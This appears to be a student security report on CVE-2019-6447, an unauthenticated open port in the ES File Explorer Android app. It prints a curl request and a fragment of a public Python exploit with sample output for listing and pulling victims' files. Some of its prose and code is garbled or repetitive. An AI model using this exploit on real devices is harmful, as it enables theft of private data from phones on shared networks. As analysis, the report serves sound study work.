CVE 2019-6447 in Mobile Application

Weerasiri H.A.K.D.

IT19154640

Abstract— Mobile applications are the type of security aspect since they manage private data, retrieve confidential material, and in certain situations allow remote device control. These are broadly applied to IoT devices, and they're also at the heart of the business models of many FinTech, HealthTech, and news organizations across sectors. And smartphone app security involves several factors, including the protection of the mobile applications themselves (iOS or Android versions), the protection of the APIs, and the security of the infrastructure. Back-end privacy (APIs & servers) is typically greater crucial than front-end privacy (iOS / Android applications), however, this relies on the software's functional and technical environment.

Keywords—Mobile Security, RCE-Remote Code Execution,Privilages

I. INTRODUCTION

Hence more data that passes via smartphone apps, the further likely it's just that breaches and exposures will occur. Intruders exploit a variety of vulnerabilities, including inadequate server-side limitations, unsecured storage systems, unauthorized information interchange, and the usage of susceptible third-party elements.

II. REMOTE CODE EXECUTION

The resources accessible to mobile devices aren't using these elements with the emergence of mobile telecommunications. At one point, connection and speed may be limited, but the next, those elements may be abundant. This diversity in the atmosphere as well as how the program must respond presents a significant barrier to the creation of context apps.

Increasing the portability of such equipment, we also have a significant range of individual devices with widely accessible assets (storage, speed, display, etc.); while the consumer is traveling including its smartphone, these things are allocated but it's not being. The download manager linked to browsers is such a type of program that exists separately from the ecosystem assets. If a person wants to download a file while visiting a website on a tablet or smartphone, this operation is always executed on the device. The surfing program is unaware of adjacent PCs that could have better phone or broadband connections. If such devices might be utilized in a visible and automated manner, the users might profit in regards to ease and efficiency of use. If internet speeds are low or storage space is limited, downloading to a remote machine is a preferable option.
For instance, a program that views or saves a file given by its URL can take advantage of resources accessible on remote computers. If the PDA's storage capacity is insufficient, the file must be saved on another device. The same is true if data transmission is lowered. A big screen is desirable for viewing files on a PDA.
If a close pc has a bigger display than PDA about which the program is working, the content will be shown on that remote server. One problem we find in these kinds of circumstances is not only adapting portable computer apps to their environments, and also making use of sunk costs.
Further difficulties to consider include restructuring of operating items even as change occurs, automated deployment of the distant machine, and protection and data utilization concerns. To do this, the whole first issue to tackle is how to partition a program so that parts of it may run on different pcs. The most difficult approach that immediately springs to mind is to actively program each application and make it mobile with devices. Because of the various eventualities that must be addressed, such an approach delivers applications mobility problematic.

III. CVE-2019-6447

Remote attackers may read malicious programs or activate apps via TCP port 59777 queries on the local Wi-Fi network using the ES File Explorer File Manager application till 4.1.9.7.4 on Android. After the ES program has been started once, this TCP port stays open and accepts unauthenticated application/JSON data through HTTP.

IV. ES FILE EXPLORER FILE MANAGER

ES File Explorer is a file manager/explorer built for Android smartphones by ES Global, a subsidiary of DO Global. Cloud storage connection, file transfers via Smartphones to Pc through FTP or LAN, and a root explorer are all included. This was deleted from the Google Play Store because it engaged in click manipulation.

ES File Explorer claims to have had over 500 million downloads since 2014, making it one of the most popular apps to date. Its minimalism defines it as such: a basic file explorer that allows you to search the system files of your Android phone or tablet for records, information, files, as well as other items.

However, the application is operating a narrowed web server on the smartphone behind curtains. As a result, it exposes the whole Android smartphone to a slew of threats, and potential security breaches.

Features that Intruder can do when exploiting the vulnerability

Please Refer next page.

With the following Proof Of Concept (POC), an intruder can:

- List all the files on the sd card in the victim device
- List all the pictures in the victim device
- List all the videos in the victim device
- List all the audio files in the victim device
- List all the apps installed on the victim's device
- List all the system apps installed on the victim device
- List all the phone apps installed on the victim's device
- List all the APK files stored in the SD-Card of the victim device
- List all the apps installed on the victim's device
- Get device info of the victim's device
- Pull a file from the victim's device
- Launch an app of the attacker ‘s choice
- Get the icon of an app of the attacker ‘s choice

- To sum up, an attacker connected to the same local network can remotely:
- - get a file from your phone
- - list all the apps installed on your phone
- - list all your videos, images, and audio files
- To sum up, an attacker connected to the same local network can remotely:
- - get a file from your phone
- - list all the apps installed on your phone
- - list all your videos, images, and audio files

Exploiting The CVE

When a user launches the app, an HTTP server is launched. This server is opening port 59777 locally.

```
angler:/ # netstat -ap | grep com.estrongs
tcp6       0      0 :::59777                :::*                    LISTEN      5696/com.estrongs.android.pop
```

From this mentioned port, an intruder could be able to execute the application, such as HTTP server is executing, and this also opens the port number 59777 locally.

```
curl --header "Content-Type: application/json" --request POST --data '{"command":"[my_awesome_cmd]"}' http://192.168.0.8:59777
```

Those instructions allow an attacker attached to an accused's local network to access a wealth of delicious details (equipment details, apps downloaded,) additional information on the victim's cellphone, retrieve a file from the accused's phone wirelessly and remotely launch an application on the victim's phone.

```
url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSy
le','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
    print("[-] WRONG COMMAND!")
    print("Available commands : ")
    print("  listFiles         : List all Files.")
    print("  listPics          : List all Pictures.")
    print("  listVideos        : List all videos.")
    print("  listAudios        : List all audios.")
    print("  listApps          : List Applications installed.")
    print("  listAppsSystem    : List System apps.")
    print("  listAppsPhone     : List Communication related apps.")
    print("  listAppsSdcard    : List apps on the SDCard.")
    print("  listAppsAll       : List all Application.")
    print("  getFile           : Download a file.")
    print("  getDeviceInfo     : Get device info.")
    sys.exit(1)

print("\n═══════════════════════════════════════════════════════════════")
print("|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |")
print("|               Coded By : Nehal a.k.a PwnerSec                  |")
print("═══════════════════════════════════════════════════════════════\n")
```

Available Commands for Intruder

```
#####################
# Available Commands #
#####################

listFiles: List all the files
listPics: List all the pictures
listVideos: List all the videos
listAudios: List all the audio files
listApps: List all the apps installed
listAppsSystem: List all the system apps
listAppsPhone: List all the phone apps
listAppsSdcard: List all the apk files in the sdcard
listAppsAll: List all the apps installed (system apps included)
getDeviceInfo: Get device info
appPull: Pull an app from the device. Package name parameter is needed
appLaunch: Launch an app. Package name parameter is needed
getAppThumbnail: Get the icon of an app. Package name parameter is needed
```

exploit python code must be executed first for an intruder to connect to the android system, and the affected user must be installed with the application giving access to storage, contact, etc...

```
└─# python 50070.py -h
USAGE 50070.py <command> <IP> [file to download]
```

Bypassing the parameters specified in the preceding statement, the intruder can perform and gather information from the affected Android version.

```
└─$python 50070.py listFiles 192.168.43.244

═══════════════════════════════════════════════════════════════
|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |
|               Coded By : Nehal a.k.a PwnerSec                  |
═══════════════════════════════════════════════════════════════
```

```
name : config
time : 01/01/1970 05:30:01 am
type : folder
size : 0.00 Bytes (0 Bytes)

name : charger
time : 01/01/1970 05:30:00 am
type : file
size : 0.00 Bytes (0 Bytes)

name : cache
time : 01/01/2015 12:04:28 am
type : folder
size : 4.00 KB (4,096 Bytes)

name : bugreports
time : 01/01/1970 05:30:00 am
type : file
size : 0.00 Bytes (0 Bytes)

name : audit_filter_table
time : 01/01/1970 05:30:00 am
type : file
size : 44.06 KB (45,121 Bytes)

name : android.hardware.drm@1.0-service.widevine.rc
time : 01/01/1970 05:30:00 am
type : file
size : 226.00 Bytes (226 Bytes)

name : acct
time : 01/01/2015 12:01:18 am
type : folder
size : 0.00 Bytes (0 Bytes)

name : root
time : 27/05/2020 10:31:06 am
type : folder
size : 40.00 Bytes (40 Bytes)

name : dev
time : 01/01/2015 12:01:20 am
type : folder
size : 2.71 KB (2,780 Bytes)
```

Patch Analysis

Download the patched version v4.1.9.9.3, unpack the APK, decompile it into a *.jar file with dex2jar, and analyze the file

Summary

The preceding study provides a comprehensive view of how the ES file explorer security flaw and related fixes are exploited. The key cause was when developing the shared folder method, this developer overlooked the request check, leading to security breaches.

Conclusion

Remote code execution often necessitates a physical or remote connection to a susceptible system. Users are willing to apply the most recent updates and examine access to sensitive devices to verify that rules and force protection are updated.

Authentication and authorization are not the same things. But one presupposes each other. Permissions are determined through authentication. We're discussing access permission here. After they log in, every client is granted access to individual network servers and documents. However, since we all understand, not all users have been treated equally. Access control lists (ACLs) are used to define each user's network rights. A receptionist's new user is unlikely to require access to payroll-related documents.

Badly designed authorization mechanisms, on the other hand, might lawfully confirm digital credentials while neglecting to authenticate that patient's rights level. One permission mechanism must impose both identification and privileges. Refusal to do this will provide both authorized customers and attackers entry to crucial data, as well as enable privilege escalation assaults.

V. References

DAHAN, M. (2022, 03 23). *Top 8 mobile code vulnerabilities and how to avoid them*. Retrieved from comparitech: https://www.comparitech.com/blog/information-security/mobile-code-vulnerabilities/

How to Strengthen the Security of Your Mobile Applications to Counter the Most Common Attacks? (2021, 06 22). Retrieved from vaadata: https://www.vaadata.com/blog/how-to-strengthen-the-security-of-your-mobile-applications-to-counter-the-most-common-attacks/

Jo˜ao Nuno Silva ,Paulo Ferreira. (2004). *Remote Code Execution on Ubiquitous Mobile.*

TYAGI, T. (2021). *CVE-2019-6447 Android Vulnerability in ES File Explorer* . University of Delhi: Research Gate.

Whittaker, Z. (2019, 01 16). *Researcher shows how popular app ES File Explorer exposes Android device data*. Retrieved from TechCrunch: https://techcrunch.com/2019/01/16/android-app-es-file-explorer-expose-data/